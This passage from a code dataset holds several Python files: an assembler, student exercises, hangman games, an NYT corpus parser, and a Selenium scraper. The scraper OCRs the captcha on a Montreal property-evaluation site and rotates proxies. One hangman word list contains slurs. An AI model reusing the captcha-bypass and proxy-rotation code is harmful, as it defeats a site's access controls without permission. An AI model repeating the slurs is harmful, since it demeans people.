SymbolTable()\n self.code = Code()\n self.initialPass(filePath)\n self.processFile(filePath)\n\n def initialPass(self, filePath: str) -> None:\n parser = Parser(filePath)\n counter = 0\n while parser.hasMoreCommands():\n commandType = parser.commandType()\n if commandType == CommandType.L_COMMAND:\n self.symbolTable.addEntry(parser.symbol(), counter)\n else:\n counter += 1\n parser.advance()\n\n def processFile(self, filePath: str) -> None:\n self.parser = Parser(filePath)\n self.n = 16\n fileHackPath = filePath.split('.asm')[0] + '.hack'\n with open(fileHackPath, 'w') as f:\n while self.parser.hasMoreCommands():\n line = self.processLine()\n if line != None:\n f.write(line + '\\n')\n self.parser.advance()\n\n def processLine(self) -> str:\n commandType = self.parser.commandType()\n if commandType == CommandType.C_COMMAND:\n return '111' + self.code.comp(self.parser.comp()) + self.code.dest(self.parser.dest()) + self.code.jump(self.parser.jump())\n elif commandType == CommandType.L_COMMAND:\n return None\n elif commandType == CommandType.A_COMMAND:\n symbol = self.parser.symbol()\n if symbol.isdigit():\n address = int(symbol)\n else:\n if not self.symbolTable.contains(symbol):\n self.symbolTable.addEntry(symbol, self.n)\n self.n += 1\n address = self.symbolTable.GetAddress(symbol)\n return '0' + format(address, '015b')\n\n\nif __name__ == '__main__':\n HackAssembler(sys.argv[1])\n","repo_name":"buzz-code/nand2tetris","sub_path":"projects/06/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28388997289","text":"\"\"\"\nRead file into texts and calls.\nIt's ok if you don't understand how to read files\n\"\"\"\nimport csv\nwith open('texts.csv', 'r') as f:\n reader = csv.reader(f)\n texts = list(reader)\n\nwith open('calls.csv', 'r') as f:\n reader = csv.reader(f)\n calls = list(reader)\n\n\"\"\"\nTASK 2: Which telephone number spent the longest time on the phone\nduring the period? Don't forget that time spent answering a call is\nalso time spent on the phone.\nPrint a message:\n\" spent the longest time, seconds, on the phone during \nSeptember 2016.\".\n\"\"\"\n# Dictionary to store the total length for each caller\ncall_length = {}\n\nfor call in calls:\n if call[0] not in call_length.keys():\n call_length[call[0]] = int(call[3])\n else:\n call_length[call[0]] += int(call[3])\n \n if call[1] not in call_length.keys():\n call_length[call[1]] = int(call[3])\n else:\n call_length[call[1]] += int(call[3])\n\nmax_call_number = max(call_length, key = call_length.get)\nmax_call_length = max(call_length.values())\n\nprint(\"{} spent the longest time, {} seconds, on the phone during September 2016.\".format(max_call_number, max_call_length))\n\n# Worst Case Scenario\n# Time Complexity O(n): Each record will at most 4 operations, 4n + 4(1 dict creation + 2 calculation + 1 print) => O(n)\n# Space Complexity O(n): Store all records if all are distinct\n","repo_name":"SEPHIRONOVA/Data-Structure-and-Algorithm-Nanodegree","sub_path":"Project 1 - Unscramble Computer Science Problems/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14110601032","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 21 11:43:52 2017\r\n\r\n@author: Joshua\r\n\"\"\"\r\n#import random\r\n\r\n#print(\"Lets play a game of hangman, here we go\")\r\n\r\n#count = 0\r\n\r\n#class Hangman():\r\n \r\n # words = (\"wanker\", \"retard\", \"idiot\", \"homework\", \"school\", \"hangman\")\r\n # guesses = 0\r\n # letters_used = \"\"\r\n #secretword = random.choice(words)\r\n \r\n # while guesses < 6:\r\n # guess = input(\"Guess a letter\")\r\n \r\n # if guess in words and not letters_used:\r\n # print(\"good guess\")\r\n # letters_used += \",\" + guess\r\n # print(\"letters used: \", letters_used)\r\n \r\n # elif guess not in words and not(letters_used):\r\n # guesses += 1\r\n # print('Wrong, you have', 6 - guesses, \" guesses left\")\r\n \r\n # else:\r\n # print(\"your dumb, try again\")\r\n \r\nimport random\r\n\r\nname = str(input(\"What's your name?\"))\r\nprint(\"Hello,\", name + \"!\")\r\nfailures = 0\r\nallowed = 1\r\nguessed = str()\r\nwordlist = ['hangman', 'dinner', 'computer', 'america', 'olympics', 'football', 'minecraft', 'jacket', 'cabbage', 'electricity', 'dog',\r\n 'pasta', 'japan', 'water', 'programming', 'anaconda', 'onehunga', 'name', 'windows', 'curtains', 'bieber', 'kirito',\r\n 'montenegro', 'wheel', 'civilization', 'physics', 'bluebird' 'table', 'ACDC', 'guardian yam' 'mario', 'parachute', 'agario', 'obama',\r\n 'youtube', 'putin', 'dairy', 'christianity', 'club penguin', 'oskahlavistah', 'coins', 'agitating', 'jumping', 'eating',\r\n 'your mom', 'executive', 'car', 'jade', 'abraham', 'sand', 'silver', 'uranium', 'oscar is gay', 'bioshock', 'fizzle', 'moonman', 'watermelon',\r\n 'WAHAHAHAHAHA', 'steve jobs', 'extreme', 'weeaboo jones', 'hot damn', name]\r\n\r\ndef correct(guess):\r\n if guess in word:\r\n if guess not in guessed:\r\n print(\"Correct\")\r\n return(True)\r\n else:\r\n if guess not in word and len(guess) == 1 and guess in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ':\r\n if guess not in guessed:\r\n print(\"Incorrect!\")\r\n return(False)\r\n\r\nprint(\"Guess this word!\")\r\nprint(\"You can input any letter from A to Z and the space key.\")\r\nwordnumber = random.randint(0, len(wordlist))\r\nword = (wordlist[wordnumber])\r\nprint(\"_ \"*len(word))\r\nwhile failures < allowed:\r\n guess = str(input(\"Guess a letter!\"))\r\n if len(guess) != 1 or guess not in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ':\r\n print(\"That is not a letter, try again.\")\r\n if guess in guessed:\r\n print(\"You have already guessed that letter, try again.\")\r\n iscorrect = correct(guess)\r\n guessed = guessed, guess\r\n if iscorrect == True:\r\n print(\"Word display still in development\")\r\n if iscorrect == False:\r\n print(\"You suck\")\r\n failures = failures+1\r\n print(\"You have\", allowed , \"guesses left.\")\r\n if failures == allowed:\r\n replay = str(input(\"Press 1 to play again, press 2 to exit.\"))\r\n if replay == 1:\r\n break\r\n else:\r\n quit()\r\n\r\n","repo_name":"jsavage6/Fin-6320","sub_path":"Fin-6320/Assignment 2/wordguessinggame.py","file_name":"wordguessinggame.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24302857762","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 7 18:47:24 2021\r\n\r\n@author: artem\r\n\"\"\"\r\n\r\ndef merge_sort(arr):\r\n #this function will only do something if the length of the array is > 1\r\n if len(arr) > 1:\r\n #we need to create to arrays one that goes to the left and one that takes everything from the middle and goes to the right\r\n first_array = arr[0:len(arr)//2] #<-------- returns the slice of original array starting at index 0 ending at len of array dividing by 2\r\n second_array = arr[len(arr)//2:len(arr)] #<---- starts at the len of array (the middle) integer division by 2 and goes till the end\r\n\r\n #I want to perform whole merge_sort algorithm to my first(left) array and my second(right) array\r\n #After these two lines the first_array(left array) and second_array(right array) are in sorted order\r\n merge_sort(first_array)\r\n merge_sort(second_array)\r\n \r\n #Merge them - since now my first_array and second_array are in sorted order I want to merge them to make a bigger array that is sorted\r\n # I want to compare left most of first array to left most of second array so lets do i for left j for right\r\n \r\n i = 0\r\n j = 0\r\n #I also need one for my merged index array so lets just use x\r\n x = 0\r\n \r\n #use a while loop to do my comparison\r\n while i < len(first_array) and j < len(second_array):\r\n if first_array[i] < second_array[j]:\r\n #No we can save the value of my left array inside x which is my merged array\r\n arr[x] = first_array[i]\r\n #now just increase i and increase x \r\n i += 1\r\n x += 1\r\n #in the other case the right array is smaller or equal to my left(second) array so we do the same thing but save the right array into x \r\n #which is my merge array\r\n else:\r\n arr[x] = second_array[j]\r\n #same thing here increase j and x \r\n j += 1\r\n x += 1\r\n \r\n \r\n #Now consider I have to transfer every element in my first_array (left array) into my merge array (x) without considering second_array (right array)\r\n #in this case i < then the len of my first_array(left array)\r\n while i < len(first_array):\r\n #transfer by assigining my first_array of index i to the merged array of index x\r\n arr[x] = first_array[i]\r\n #increase both index's\r\n i += 1\r\n x += 1\r\n \r\n #Need to implement the same thing where every element in my first_array(left array) has already been sorted but there are still missing elements\r\n #in my second_array(right array)\r\n \r\n #I am doing the same thing as before but this time for my second_array basically below:\r\n while j < len(second_array):\r\n arr[x] = second_array[j]\r\n j += 1\r\n x += 1\r\n \r\n return arr\r\n\r\nprint(\"============= ### START OF MY PROGRAM ### =============\") \r\nprint()\r\n\r\nmy_list = [98,23,45,14,6,67,33,42]\r\nprint(\"My current list is: \", my_list)\r\nprint()\r\n\r\n#call for my function merge_sort below\r\nmerge_sort(my_list)\r\nprint(\"After merge_sort function my list is: \")\r\nprint(my_list) \r\n \r\nprint()\r\nprint(\"============= ### END OF MY PROGRAM ### =============\") \r\n ","repo_name":"ArtMerc/Python-Merge-Sort-Algorithm","sub_path":"Merge-Sort-Algorithm.py","file_name":"Merge-Sort-Algorithm.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28472051038","text":"import sys\nimport hangman_brain as hl\nimport random as r\n\n\nclass Game:\n\n def __init__(self):\n self.welcome_message()\n self.user()\n self.word_completed = False\n self.word = hl.winning_word.get_word()\n self.secret_list = []\n self.user_guess_list = []\n self.display_list = []\n self.lives = self.levels()\n self.display_list_str = \"\"\n self.new_word = hl.winning_word.get_new_word()\n self.list_view()\n self.run()\n\n def welcome_message(self):\n print(\"\\n\")\n print(\"Welcome to Juxhen's Random Number Generator Hangman\\n\")\n\n def user(self):\n name_successful = False\n while not name_successful:\n name = input(\"Please enter your name\\n\").upper()\n if name.isalpha():\n print(f\"Welcome {name} I wish you the best of luck lets start!\")\n name_successful = True\n else:\n print(\"Please enter letters only!\")\n name_successful = False\n return name\n\n def levels(self):\n level_choice = \"\"\n flag = False\n while not flag:\n level_choice = input(\"Please pick a level, 'Easy', 'Medium', 'Hard'\\n\").upper()\n if level_choice == \"EASY\":\n print(\"Easy it is!\")\n return 100\n flag = True\n elif level_choice == \"MEDIUM\":\n print(\"Medium it is!\")\n return 70\n flag = True\n elif level_choice == \"HARD\":\n print(\"Hard it is!\")\n return 50\n flag = True\n else:\n print(\"Please enter a valid difficulty\")\n flag = False\n\n def health(self, lives_in_health, damage_taken):\n if lives_in_health - damage_taken < 0:\n new_health = 0\n print(f\"Congratulations, you're dead, the word was: {self.word}\")\n self.new_game()\n else:\n new_health = lives_in_health - damage_taken\n print(f\"sorry you lost {damage_taken} HP you are at {new_health} HP\")\n return new_health\n\n def list_view(self):\n for letter in self.word:\n self.secret_list.append(letter)\n # print(secret_list)\n\n for blanks in range(0, len(self.secret_list)):\n self.display_list.append(\"_\")\n self.display_list_str = \" \".join(self.display_list)\n print(self.display_list_str)\n\n def run(self):\n while not self.word_completed and self.lives > 0:\n user_guess = input(\"Guess a letter!\\n\").upper()\n if user_guess.isalpha() and len(user_guess) == 1:\n if user_guess in self.user_guess_list:\n print(f\"sorry you have already guessed {user_guess} please pick another letter\")\n elif user_guess not in self.secret_list:\n health_loss_rng = r.randint(1, 10)\n self.lives = self.health(self.lives, health_loss_rng)\n else:\n self.user_guess_list.append(user_guess)\n index_counter = 0\n for letter in self.secret_list:\n if letter == user_guess:\n self.display_list[index_counter] = letter\n index_counter += 1\n print(f\"Horray you matched the letter {user_guess}\")\n if \"_\" not in self.display_list:\n print(f\"Congratulations, the word was: {self.word}\")\n self.word_completed = True\n self.new_game()\n self.display_list_str = \" \".join(self.display_list)\n print(f\"{self.display_list_str}\")\n else:\n print(f\"sorry {user_guess} is not a letter\")\n\n\n def start_new_game(self):\n self.word = hl.winning_word.get_new_word()\n return self.word\n\n def new_game(self):\n choice = input(\"Would you like to play again? Yes/No\\n\").upper()\n if choice == \"YES\":\n self.start_new_game()\n else:\n print(\"Thank you for playing\")\n sys.exit()\n\nnew_game = Game()","repo_name":"Juxhen/Data14Python","sub_path":"OOP/hangman_game_2.py","file_name":"hangman_game_2.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8030649577","text":"from bs4 import BeautifulSoup\nimport pandas as pd\nimport numpy as np\nimport csv\nimport sys\n\n\n# Functions that look for individual data points for an article\n\ndef get_title(article_soup):\n\ttry:\n\t\ttitle = article_soup.head.title.text\n\texcept Exception:\n\t\ttitle = None\n\tfinally:\n\t\treturn title\n\ndef get_metadata(article_soup):\n\tmetadata = {'publication_day_of_month': None,\n\t\t'publication_month': None,\n\t\t'publication_year': None,\n\t\t'publication_day_of_week': None,\n\t\t'dsk': None,\n\t\t'print_page_number': None,\n\t\t'print_section': None,\n\t\t'print_column': None,\n\t\t'online_sections': None}\n\ttry:\n\t\tmetas = article_soup.head.find_all('meta')\n\t\tfor meta in metas:\n\t\t\ttry:\n\t\t\t\tmetadata[meta['name']] = int(meta['content'])\n\t\t\texcept Exception:\n\t\t\t\tmetadata[meta['name']] = meta['content']\n\tfinally:\n\t\treturn metadata\n\ndef get_id(article_soup):\n\ttry:\n\t\tid_ = article_soup.head.docdata.find('doc-id')['id-string']\n\texcept Exception:\n\t\tid_ = None\n\tfinally:\n\t\treturn id_\n\ndef get_copyright(article_soup, item):\n\ttry:\n\t\tcopyright_item = article_soup.head.docdata.find('doc.copyright')[item]\n\texcept Exception:\n\t\tcopyright_item = None\n\tfinally:\n\t\ttry:\n\t\t\treturn int(copyright_item)\n\t\texcept Exception:\n\t\t\treturn copyright_item\n\ndef get_series(article_soup):\n\ttry:\n\t\tseries_name = article_soup.head.docdata.series['series.name']\n\texcept Exception:\n\t\tseries_name = None\n\tfinally:\n\t\treturn series_name\n\ndef get_length(article_soup):\n\ttry:\n\t\tlength = int(article_soup.head.pubdata['item-length'])\n\t\tlength_unit = article_soup.head.pubdata['unit-of-measure']\n\texcept Exception:\n\t\tlength, length_unit = None, None\n\tfinally:\n\t\treturn length, length_unit\n\ndef get_indexing_service(article_soup, item_type):\n\ttry:\n\t\tindex_item = article_soup.head.docdata.find('identified-content').find(item_type, class_ = 'indexing_service').text\n\texcept Exception:\n\t\tindex_item = None\n\tfinally:\n\t\treturn index_item\n\ndef get_classifiers(article_soup):\n\tcl = {'indexing_service_descriptor': None,\n\t\t'online_producer_types_of_material': None,\n\t\t'online_producer_taxonomic_classifier': None,\n\t\t'online_producer_descriptor': None,\n\t\t'online_producer_general_descriptor': None}\n\ttry:\n\t\tclassifiers = article_soup.head.docdata.find('identified-content').find_all('classifier')\n\t\tfor classifier in classifiers:\n\t\t\tif cl[classifier['class']+'_'+classifier['type']] == None:\n\t\t\t\tcl[classifier['class']+'_'+classifier['type']] = [classifier.text]\n\t\t\telse:\n\t\t\t\tcl[classifier['class']+'_'+classifier['type']].append(classifier.text)\n\tfinally:\n\t\treturn cl\n\ndef get_headline(article_soup):\n\ttry:\n\t\theadline = article_soup.body.find('body.head').hedline.hl1.text\n\texcept Exception:\n\t\theadline = None\n\tfinally:\n\t\treturn headline\n\ndef get_online_headline(article_soup):\n\ttry:\n\t\tonline_headline = article_soup.body.find('body.head').hedline.find('hl2', class_ = 'online_headline').text\n\texcept Exception:\n\t\tonline_headline = None\n\tfinally:\n\t\treturn online_headline\n\ndef get_byline(article_soup, byline_type):\n\ttry:\n\t\tbyline = article_soup.body.find('body.head').find('byline', class_ = byline_type).text\n\texcept Exception:\n\t\tbyline = None\n\tfinally:\n\t\treturn byline\n\ndef get_abstract(article_soup):\n\ttry:\n\t\tstrings = article_soup.body.find('body.head').abstract.stripped_strings\n\t\tabstract = ''\n\t\tfor string in strings:\n\t\t\tabstract = abstract + ' ' + string\n\texcept Exception:\n\t\tabstract = None\n\tfinally:\n\t\treturn abstract\n\ndef get_body_content(article_soup, content_type):\n\ttry:\n\t\tstrings = article_soup.body.find('body.content').find('block', class_ = content_type).stripped_strings\n\t\ts = ''\n\t\tfor string in strings:\n\t\t\ts = s + ' ' + string\n\texcept Exception:\n\t\ts = None\n\tfinally:\n\t\treturn s\n\ndef get_author_info(article_soup):\n\ttry:\n\t\tauthor_info = article_soup.body.find('body.end').find('tagline', class_ = 'author_info').text\n\texcept Exception:\n\t\tauthor_info = None\n\tfinally:\n\t\treturn author_info\n\n\n\n# Gathers article data if available and saves to dictionary\n\ndef parse_article(article_soup, new_article_obj):\n\n\t# Get article attributes from soup\n\tmetadata = get_metadata(article_soup)\n\tlength, length_unit = get_length(article_soup)\n\tclassifiers = get_classifiers(article_soup)\n\n\tnew_article_obj['title'].append(get_title(article_soup))\n\tnew_article_obj['publication_day_of_month'].append(metadata['publication_day_of_month'])\n\tnew_article_obj['publication_month'].append(metadata['publication_month'])\n\tnew_article_obj['publication_year'].append(metadata['publication_year'])\n\tnew_article_obj['publication_day_of_week'].append(metadata['publication_day_of_week'])\n\tnew_article_obj['desk'].append(metadata['dsk'])\n\tnew_article_obj['print_page_number'].append(metadata['print_page_number'])\n\tnew_article_obj['print_section'].append(metadata['print_section'])\n\tnew_article_obj['print_column'].append(metadata['print_column'])\n\tnew_article_obj['online_sections'].append(metadata['online_sections'])\n\tnew_article_obj['id'].append(get_id(article_soup))\n\tnew_article_obj['copyright_holder'].append(get_copyright(article_soup,'holder'))\n\tnew_article_obj['copyright_year'].append(get_copyright(article_soup,'year'))\n\tnew_article_obj['series_name'].append(get_series(article_soup))\n\tnew_article_obj['indexing_descriptor'].append(classifiers['indexing_service_descriptor'])\n\tnew_article_obj['indexing_location'].append(get_indexing_service(article_soup,'location'))\n\tnew_article_obj['indexing_org'].append(get_indexing_service(article_soup,'org'))\n\tnew_article_obj['indexing_person'].append(get_indexing_service(article_soup,'person'))\n\tnew_article_obj['types_of_material'].append(classifiers['online_producer_types_of_material'])\n\tnew_article_obj['taxonomic_classifier'].append(classifiers['online_producer_taxonomic_classifier'])\n\tnew_article_obj['descriptor'].append(classifiers['online_producer_descriptor'])\n\tnew_article_obj['general_descriptor'].append(classifiers['online_producer_general_descriptor'])\n\tnew_article_obj['length'].append(length)\n\tnew_article_obj['length_unit'].append(length_unit)\n\tnew_article_obj['headline'].append(get_headline(article_soup))\n\tnew_article_obj['online_headline'].append(get_online_headline(article_soup))\n\tnew_article_obj['print_byline'].append(get_byline(article_soup,'print_byline'))\n\tnew_article_obj['normalized_byline'].append(get_byline(article_soup,'normalized_byline'))\n\tnew_article_obj['abstract'].append(get_abstract(article_soup))\n\tnew_article_obj['lead_paragraph'].append(get_body_content(article_soup,'lead_paragraph'))\n\tnew_article_obj['full_text'].append(get_body_content(article_soup,'full_text'))\n\tnew_article_obj['author_info'].append(get_author_info(article_soup))\n\n\n\n# Functions for choosing random articles\n\ndef create_file_index():\n\tdf = pd.read_csv('data/nyt_corpus_docs/file.txt', names = ['filepath'])\n\tdf_filtered = df.drop(df[~df['filepath'].str.endswith('.xml')].index)\n\tdf_filtered.sort_values(by = ['filepath'], ascending=True, inplace=True)\n\tdf_filtered.to_csv('data/file_index.txt', header=False, index=False)\n\ndef get_article_list(num_articles):\n\tarticle_df = pd.read_csv('data/file_index.txt', names = ['filepath'])\n\tarticle_list = list(article_df['filepath'].sample(num_articles))\n\n\tprint('Got list of ' + str(num_articles) + ' random articles.')\n\treturn article_list\n\n\n# Converts a selected article to soup\n\ndef get_article(xml_text):\n\tsoup = BeautifulSoup(xml_text, 'xml')\n\treturn soup\n\n\n# Saves final output to CSV\n\ndef save_data(article_obj, filename):\n\tdf = pd.DataFrame(article_obj)\n\tdf.to_csv(filename, index = False)\n\n\n \n# Gets a list of random articles, parses them, and saves to a CSV file\n\ndef create_csv_file(n):\n\tarticle_obj = {\n\t\t'title': []\n\t\t, 'publication_day_of_month': []\n\t\t, 'publication_month': []\n\t\t, 'publication_year': []\n\t\t, 'publication_day_of_week': []\n\t\t, 'desk': []\n\t\t, 'print_page_number': []\n\t\t, 'print_section': []\n\t\t, 'print_column': []\n\t\t, 'online_sections': []\n\t\t, 'id': []\n\t\t, 'copyright_holder': []\n\t\t, 'copyright_year': []\n\t\t, 'series_name': []\n\t\t, 'indexing_descriptor': []\n\t\t, 'indexing_location': []\n\t\t, 'indexing_org': []\n\t\t, 'indexing_person': []\n\t\t, 'types_of_material': []\n\t\t, 'taxonomic_classifier': []\n\t\t, 'descriptor': []\n\t\t, 'general_descriptor': []\n\t\t, 'length': []\n\t\t, 'length_unit': []\n\t\t, 'headline': []\n\t\t, 'online_headline': []\n\t\t, 'print_byline': []\n\t\t, 'normalized_byline': []\n\t\t, 'abstract': []\n\t\t, 'lead_paragraph': []\n\t\t, 'full_text': []\n\t\t, 'author_info': []\n\t}\n\n\tarticle_list = get_article_list(n)\n\n\tfor article in article_list:\n\t\tif article_list.index(article) % 100 == 0:\n\t\t\tprint('Parsing article ' + str(article_list.index(article)))\n\n\t\tarticle_soup = get_article(open('data/'+article))\n\t\tparse_article(article_soup, article_obj)\n\n\tsave_data(article_obj, 'data/nyt_corpus_'+str(n)+'.csv')\n\n\nif __name__ == '__main__':\n\t#create_file_index() # doesn't need to be run again\n\tn = int(sys.argv[1])\n\tcreate_csv_file(n)\n\n\n\n","repo_name":"carmen16/news-article-topic-classification","sub_path":"parse_corpus.py","file_name":"parse_corpus.py","file_ext":"py","file_size_in_byte":8796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37609402754","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException, TimeoutException\nfrom selenium.webdriver.common.keys import Keys\nfrom datetime import datetime, timezone\nfrom itertools import chain\nimport psycopg2 as pg\nimport pytesseract\nimport logging\nimport time\nimport cv2\nimport os\n\ntry:\n\timport Image\nexcept ImportError:\n\tfrom PIL import Image\n\n\nclass Collector():\n\tdef setup(self, threadName, browser='Firefox',useProxy=True):\n\t\tif os.name == 'nt':\n\t\t\tpytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files (x86)\\\\Tesseract-OCR\\\\tesseract'\n\t\tlogging.basicConfig(level=logging.INFO, filename='test.log',filemode='a')\n\t\tself.useProxy = useProxy\n\t\tself.browser = browser\n\t\tself.StartBrowser()\n\t\tself.number = 1\n\t\tself.nextNumber = 1\n\t\tself.failInfo = ''\n\t\tself.specificPlace = ''\n\t\tself.count = 0\n\t\tself.threadName = str(threadName)\n\tdef StartBrowser(self):\n\t\tif self.browser == 'Firefox':\n\t\t\tprofile = webdriver.FirefoxProfile()\n\t\t\t#profile.set_preference('webdriver.load.strategy', 'unstable')\n\t\t\tcapabilities = {\"pageLoadStrategy\":\"none\"}\n\t\t\tprofile.set_preference(\"browser.helperApps.neverAsk.saveToDisk\",\"application/pdf\")\n\t\t\tprofile.set_preference('pdfjs.disabled',True)\n\t\t\tprofile.set_preference(\"browser.download.manager.showWhenStarting\", False);\n\t\t\tprofile.set_preference(\"browser.download.folderList\", 2)\n\t\t\tif os.name is not 'nt':\n\t\t\t\tprofile.set_preference(\"browser.download.dir\", '/home/gnorme/Downloads')\n\t\t\tprofile.set_preference(\"browser.download.useDownloadDir\", True)\n\t\t\tprofile.set_preference(\"services.sync.prefs.sync.browser.download.manager.showWhenStarting\", False)\n\t\t\tprofile.set_preference('browser.link.open_newwindow', 3)\n\t\t\tprofile.set_preference('browser.link.open_newwindow.restriction', 0)\n\t\t\tprofile.set_preference('browser.link.open_newwindow.override.external', -1)\n\t\t\tif self.useProxy:\n\t\t\t\tself.GetProxy()\n\t\t\t\t#profile.set_preference('dom.popup_allowed_events', 0)\n\t\t\t\tprofile.set_preference(\"network.proxy.type\", 1)\n\t\t\t\tprofile.set_preference(\"network.proxy.http\", self.proxy[0])\n\t\t\t\tprofile.set_preference(\"network.proxy.http_port\", int(self.proxy[1]))\n\t\t\t\tprofile.set_preference(\"network.proxy.ssl\", self.proxy[0])\n\t\t\t\tprofile.set_preference(\"network.proxy.ssl_port\", int(self.proxy[1]))\n\t\t\tself.driver = webdriver.Firefox(profile, capabilities=capabilities,executable_path='geckodriver')\n\t\tif self.browser == 'Chrome':\n\t\t\tchrome_options = webdriver.ChromeOptions()\n\t\t\tchrome_options.add_argument(\"--disable-infobars\")\n\t\t\tprefs = {\"download.prompt_for_download\": False, \"plugins.always_open_pdf_externally\": True}\n\t\t\tchrome_options.add_experimental_option(\"prefs\",prefs)\n\t\t\tcapabilities = {\"pageLoadStrategy\":\"none\"}\n\t\t\tchrome_options.add_argument('--silent')\n\t\t\tchrome_options.add_argument('--disable-logging')\n\t\t\tif self.useProxy:\n\t\t\t\tself.GetProxy()\n\t\t\t\tchrome_options.add_argument('--proxy-server='+self.proxy[0]+':'+self.proxy[1])\n\t\t\tself.driver = webdriver.Chrome(chrome_options=chrome_options,desired_capabilities=capabilities)\n\t\tself.driver.set_window_size(1080,1000)\n\n\tdef Captcha(self, times):\n\t\tif self.useProxy:\n\t\t\ttry:\n\t\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\t\texcept WebDriverException:\n\t\t\t\tself.ChangeProxy()\n\t\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\telse:\n\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\tfor i in range(0,times):\n\t\t\ttry:\n\t\t\t\telement_present = EC.visibility_of_element_located((By.XPATH, '//*[@id=\"type_recherche\"]/div[5]/div/img'))\n\t\t\t\twait = WebDriverWait(self.driver, 15).until(element_present)\n\t\t\texcept TimeoutException:\n\t\t\t\tself.ChangeProxy()\n\t\t\t\tself.driver.get(\"https://servicesenligne2.ville.montreal.qc.ca/sel/evalweb/index\")\n\t\t\t\tcontinue\n\t\t\ttry:\n\t\t\t\tself.driver.save_screenshot('screenshot'+self.threadName+'.png')\n\t\t\texcept:\n\t\t\t\ttime.sleep(0.5)\n\t\t\t\tself.driver.save_screenshot('screenshot'+self.threadName+'.png')\n\n\t\t\ttime.sleep(0.5)\n\t\t\tcode = self.Solve()\n\t\t\tself.driver.find_element_by_name(\"HTML_FORM_FIELD\").send_keys(code)\n\t\t\tbtn = self.driver.find_element_by_tag_name(\"button\")\n\t\t\tbtn.click()\n\t\t\ttry:\n\t\t\t\twait = WebDriverWait(self.driver, 10)\n\t\t\t\twait.until(EC.staleness_of(btn))\n\t\t\texcept TimeoutException:\n\t\t\t\tself.failInfo = 'Timeout on captcha'\n\t\t\t\treturn False\n\t\t\ttry:\n\t\t\t\tself.driver.find_element_by_name(\"HTML_FORM_FIELD\")\n\t\t\texcept NoSuchElementException:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tcontinue\n\n\t\treturn False\n\n\tdef Form(self, number, name, road, place):\n\t\tself.failInfo = ''\n\t\telement_present = EC.presence_of_element_located((By.ID, 'noCiviq'))\n\t\ttry:\n\t\t\tWebDriverWait(self.driver, 10).until(element_present)\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tnum = self.driver.find_element_by_id(\"noCiviq\")\n\t\tnum.send_keys(number)\n\n\t\tst = self.driver.find_element_by_id(\"rue-tokenfield\")\n\t\tst.send_keys(name)\n\n\t\twait = WebDriverWait(self.driver, 10)\n\t\ttry:\n\t\t\twait.until(EC.visibility_of_element_located((By.CLASS_NAME, \"ui-menu-item\")))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\n\t\tplaces = []\n\t\tplaceOptions = []\n\t\tdropdown = self.driver.find_element_by_xpath('//*[@id=\"ui-id-1\"]')\n\t\tfor option in dropdown.find_elements_by_tag_name('li'):\n\t\t\twords = option.text.split(' ')\n\t\t\tif road in words and name in words and '('+place+')' in words:\n\t\t\t\tplaces.append(option.text)\n\t\t\t\tplaceOptions.append(option)\n\t\t\t\t#break\n\t\ttry:\n\t\t\tif len(self.specificPlace) > 0:\n\t\t\t\tif self.specificPlace in places:\n\t\t\t\t\tindex = places.index(self.specificPlace)\n\t\t\t\t\tif index >= 0:\n\t\t\t\t\t\tplaceOptions[index].click()\n\t\t\t\t\telse:\n\t\t\t\t\t\tplaceOptions[0].click()\n\t\t\t\telse:\n\t\t\t\t\tplaceOptions[0].click()\n\t\t\telse:\n\t\t\t\tplaceOptions[0].click()\n\t\texcept IndexError:\n\t\t\tself.failInfo = 'Index error'\n\t\t\treturn False\n\n\t\tbtn = self.driver.find_element_by_id('btnRechercher')\n\t\tbtn.click()\n\n\t\twait = WebDriverWait(self.driver, 10)\n\t\ttry:\n\t\t\twait.until(EC.staleness_of(btn))\n\t\texcept TimeoutException:\n\t\t\treturn False\n\t\t#If number is out of acceptable range, select option and update next number\n\t\ttry:\n\t\t\treturn self.ChooseOpt(number, name)\n\t\texcept NoSuchElementException:\n\t\t\ttry:\n\t\t\t\terror = self.driver.find_element_by_xpath('//*[@id=\"noVoie.errors\"]')\n\t\t\t\tself.specificPlace = ''\n\t\t\texcept NoSuchElementException:\n\t\t\t\treturn True\n\t\t\tif len(places) > 1:\n\t\t\t\tfor place in places[1:]:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tclose = self.driver.find_element_by_xpath('//*[@id=\"adressForm\"]/div/div[2]/div/div/a')\n\t\t\t\t\t\tclose.click()\n\t\t\t\t\texcept NoSuchElementException:\n\t\t\t\t\t\treturn False\n\t\t\t\t\tif self.TryNextPlace(place, name):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\treturn self.ChooseOpt(number, name)\n\t\t\t\t\t\texcept 